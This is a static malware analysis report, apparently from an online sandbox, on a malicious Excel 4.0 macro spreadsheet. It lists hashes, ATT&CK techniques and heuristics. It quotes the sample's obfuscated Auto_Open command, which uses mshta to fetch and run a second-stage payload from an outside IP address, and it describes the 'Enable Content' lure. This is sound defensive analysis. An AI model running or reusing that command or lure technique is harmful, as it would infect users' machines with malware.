Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 3fcc643de96cc8f4…

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 356c29c9fc1b736c8230fec270d532d2 SHA-1: c6bc9aab63547fd4467acd93083a5186aec0f237 SHA-256: 3fcc643de96cc8f42515929e84f68cfb36f28537b37a1fa152bab2898d161a0f
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that executes a command to download a file from the URL http://87.251.86.178/pp/oo.html. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', which is a common lure for macro-based malware. The XLM macro itself reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', indicating an intent to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.